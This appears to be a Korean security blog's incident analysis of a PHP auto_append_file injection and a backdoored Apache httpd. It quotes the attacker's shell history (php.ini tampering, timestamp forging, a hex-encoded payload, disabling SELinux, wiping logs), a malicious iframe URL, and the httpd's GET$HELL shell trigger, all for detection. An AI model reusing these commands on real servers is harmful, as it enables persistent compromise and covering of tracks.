PHP auto_append_file을 이용한 악성 스크립트 삽입 공격

PHP 설정 파일인 php.ini를 보면 다음과 같은 항목들이 있습니다.

; Automatically add files before PHP document.
; http://php.net/auto-prepend-file
auto_prepend_file =
; Automatically add files after PHP document.
; http://php.net/auto-append-file
auto_append_file =

php 엔진이 파싱을 하는 파일(보통 .php 파일) 호출시 자동으로 추가할 파일을 지정하는 옵션입니다.

악성스크립트가 삽입되 확인해보니 삽입된 걸로 확인된 파일에는 정작 스크립트가 없었습니다.

한참을 헤매다가 .bash_history에서 다음과 같은 내용을 찾았습니다.

sed -i "/auto_append_file/d" php.ini
sed -i "s/; Language/\nauto_append_file = \/var\/local\/phplock.pid\n; Language/" php.ini
touch -r /etc/hosts php.ini
echo -e "\x0A\x3C\x3F\x69\x66\x28\x73\x74\x72\x73\x74\x72\x28\x24\x5F\x53\x45\x52\x56\x45\x52\x5B\x27......\x6B\x37\x66\x51\x3D\x3D\x22\x29\x3B\x7D\x20\x3F\x3E\x0A"  > /var/local/phplock.pid
chmod 644 /var/local/phplock.pid
setenforce 0
/home/www/bin/apachectl restart
cat /dev/null > /var/log/secure

sed를 이용해서 auto_append_file 옵션을 지운 후에 다시 추가하고 있습니다.
/var/local/phplock.pid 파일에는 추가한 내용은 악성스크립트 URL을 난독화한 내용이었습니다.
난독화된 내용을 풀어보면 다음과 같습니다.

<iframe src=http://www.richfs.com/as/qvx.html width=111 height=1 frameborder=0</iframe>

현재 해당 파일에는 접근이 되지 않고 있습니다.


아래는 auto_append_file과 auto_prepend_file에 대한 테스트 결과입니다.

php.ini 파일의 무결성을 검사하는 스크립트를 만들어서 변경시 확인할 수 있도록 해야할 듯 합니다.
일반적으로 php.ini는 한번 설정하면 거의 바꾸지 않는걸로 알고 있습니다만
만약 수정을 한다해도 관리자가 수행하는 것이기 때문에 파일 내용에 변경이 발생하면
어떤 내용이 바뀌었는지 확인할 수 있는 스크립트를 만들어서 확인하는 것이 좋겠습니다.

백도어가 숨겨진 HTTPD 발견

최근 사고조사 과정에서 다른 서버들과 httpd 데몬 파일의 사이즈가 다른게 있다면서 분석을 요청해 왔습니다.  다른 서버에 존재하는 httpd 파일의 사이즈를 확인은 못했지만 사이즈가 다른것보다 약간(?) 컸습니다. 제가 자기고 있는 리눅스에서는 1.2M와 1.4M인데 변조된 httpd는 무려 두배의 사이즈를 갖는 2.87M였습니다. 물론 사이즈만으로 악성이냐 아니냐를 판단할 수 없지만 일단 의심스러워 보였습니다.

httpd 파일을 까보니 정상적인 아파치 기능들이 모두 있는 것으로 보아 정상 소스코드에 백도어를 심고 재컴파일을 한 것으로 추정됩니다. 분석 당시에 변조된 소스코드가 존재하지 않았지만 메모리 덤프에서 /var/tmp/aa와 /var/tmp/.bb 라는 디렉토리에 다른 변조 파일과 루트킷 경로가 있는 것으로 보아 이 디렉토리에 소스코드를 푼 후 재컴파일한 것으로 보입니다.

[변조된 httpd의 기능]

1. URL에 GET$HELL을 입력할 경우 /bin/sh가 실행되면서 Reverse Connection 생성

http://victimhost/GET$HELL 이런식으로 말이죠...

물론 웹브라우저에서 하면 리버스쉘 연결 안됩니다.

telnet을 이용해서 접속했었습니다.

해당 기능은 _shell 함수에 구현되어 있었으며 ap_read_request 함수에 의해 호출되고 있었습니다.

보시는 바와 같이 GET$HELL이 들어오면 /bin/sh를 실행합니다.

2. 아파치 데몬 실핼시 쉘프로그램을 /usr/bin/godup으로 복제하는 기능

Thanks to 협군

신(God)인지 아닌지 확인하는 CheckGod이라는 함수가 존재하였습니다.

간단하게 요약해보면, 

CheckGod 함수는 

  1) /tmp/.godoff 파일의 존재 유무를 확인하고

      있을 경우 쉘 존재 여부 확인하고 

      없을 경우 종료 루틴으로 이동

  2) /tmp/.godoff 삭제하고 쉘(/bin/bash, /bin/ksh, /bin/sh 중 하나)을 /usr/bin/godup으로 복사

     

웃긴건 /bin/bash가 아니라 /bin/dash로 되어 있다는 것입니다.

아마도 원본 아파치 소스코드에 악성 코드 삽입하는 과정에 실수이지 않나 생각됩니다.

httpd가 위와 같은 행동들을 하는지 직접 구현해봤습니다.

실서버와 완벽하게 동일한 환경이 아니다보니 약간의 제약이 있었습니다.

먼저 httpd 프로세스의 시스템콜을 확인해보니 /tmp/.godon과 /tmp/.godoff를 계속해서 찾고 있었습니다.

이번에 웹서비스를 하는 child 프로세스 중 하나에 trace를 걸어 봤습니다.
child 프로세스가 5개였는데 그 중에 어떤놈에게 붙을지 몰라서 여러번 시도한 끝에 아래와 같이 연결되는 것을 확인할 수 있었스빈다.

공격자는 telnet victim_ip 80으로 접속하면 아래와 같이 daemon 계정으로 /bin/sh가 실행되는 것을 확인할 수 있었습니다.

공격자 화면입니다.

환경이 달라서인지 아니면 이렇게 리버스로 연결했을때 사용하는 명령이 따로 있는지 확인은 못했지만 명령이 제대로 실행되지 않는 것은 확실했습니다. -_-;;

공격자가 컴파일했던 소스코드가 있었다면 더 좋았겠지만 안타까울 따름입니다.

사용중이신 httpd의 사이즈 확인해보시고 strings로 문자열 뽑아서 GET$HELL이 있는지 확인해보시기 바랍니다.

있다면 100%입니다...-_-;;